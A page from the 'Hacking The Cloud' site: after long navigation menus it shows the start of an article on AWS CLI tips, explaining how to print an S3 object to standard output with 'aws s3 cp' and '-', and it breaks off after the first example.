class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1 checked> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=true> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#standard-inputoutput-redirection-with- class=md-nav__link> <span class=md-ellipsis> Standard Input/Output Redirection with "-" </span> </a> <nav class=md-nav aria-label="Standard Input/Output Redirection with " -&quot;&quot;> <ul class=md-nav__list> <li class=md-nav__item> <a href=#reading-from-s3 class=md-nav__link> <span class=md-ellipsis> Reading from S3 </span> </a> </li> <li class=md-nav__item> <a href=#writing-to-s3 class=md-nav__link> <span class=md-ellipsis> Writing to S3 </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=#modifying-the-cloudtrail-log-user-agent-with-aws_execution_env class=md-nav__link> <span class=md-ellipsis> Modifying the CloudTrail Log User-Agent with AWS_EXECUTION_ENV </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=../aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ class=md-nav__link> <span class=md-ellipsis> Exploiting Public AWS Resources Programmatically - The Playbook </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#standard-inputoutput-redirection-with- class=md-nav__link> <span class=md-ellipsis> Standard Input/Output Redirection with "-" </span> </a> <nav class=md-nav aria-label="Standard Input/Output Redirection with " -&quot;&quot;> <ul class=md-nav__list> <li class=md-nav__item> <a href=#reading-from-s3 class=md-nav__link> <span class=md-ellipsis> Reading from S3 </span> </a> </li> <li class=md-nav__item> <a href=#writing-to-s3 class=md-nav__link> <span class=md-ellipsis> Writing to S3 </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=#modifying-the-cloudtrail-log-user-agent-with-aws_execution_env class=md-nav__link> <span class=md-ellipsis> Modifying the CloudTrail Log User-Agent with AWS_EXECUTION_ENV </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/general-knowledge/aws_cli_tips_and_tricks.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1 id=aws-cli-tips-and-tricks>AWS CLI Tips and Tricks<a class=headerlink href=#aws-cli-tips-and-tricks title="Permanent link">&para;</a></h1> <h2 id=standard-inputoutput-redirection-with->Standard Input/Output Redirection with "-"<a class=headerlink href=#standard-inputoutput-redirection-with- title="Permanent link">&para;</a></h2> <div class="admonition warning"> <p class=admonition-title>Warning</p> <p>The following examples have been tested in <a href=https://www.gnu.org/software/bash/ >bash</a> and <a href=https://zsh.sourceforge.io/ >zsh</a>. Functionality may vary in other shells. If you find these commands work in additional environments, please open a pull request to update this note.</p> </div> <p>When working in an AWS environment, you may frequently need to view the contents of objects stored in S3. The traditional approach involves a two-step process: using <a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/s3/cp.html>s3:cp</a> to download the file to your local machine, then using <code>cat</code> or a similar tool to view it. While effective, this method can clutter your local system with temporary files and may be slower than necessary.</p> <p>Fortunately, the AWS CLI allows us to simplify this process by using the <code>-</code> <a href=https://www.baeldung.com/linux/dash-in-command-line-parameters>character</a> which represents standard input/output (STDIN/STDOUT). Using <code>-</code>, you can read or write file content directly from or to S3 without creating local copies.</p> <h3 id=reading-from-s3>Reading from S3<a class=headerlink href=#reading-from-s3 title="Permanent link">&para;</a></h3> <p>To read the contents of an object stored in S3 without having to download it first, use the following command:</p> <div class=highlight><pre><span></span><code>aws<span class=w> </span>s3<span class=w> </span>cp<span class=w> </span>s3://bucket-name/object-key<span class=w> </span>-
 </code></pre></div> <p>Example:</p> <div class=highlight><pre><span></span><code>nick@host:~$<span class=w> </span>aws<span class=w> </span>s3<span class=w> </span>cp<span class=w> </span>s3://hackingthecloud/content<span class=w> </span>-
 hacking<span class=w> </span>the<span class=w> </span>cloud
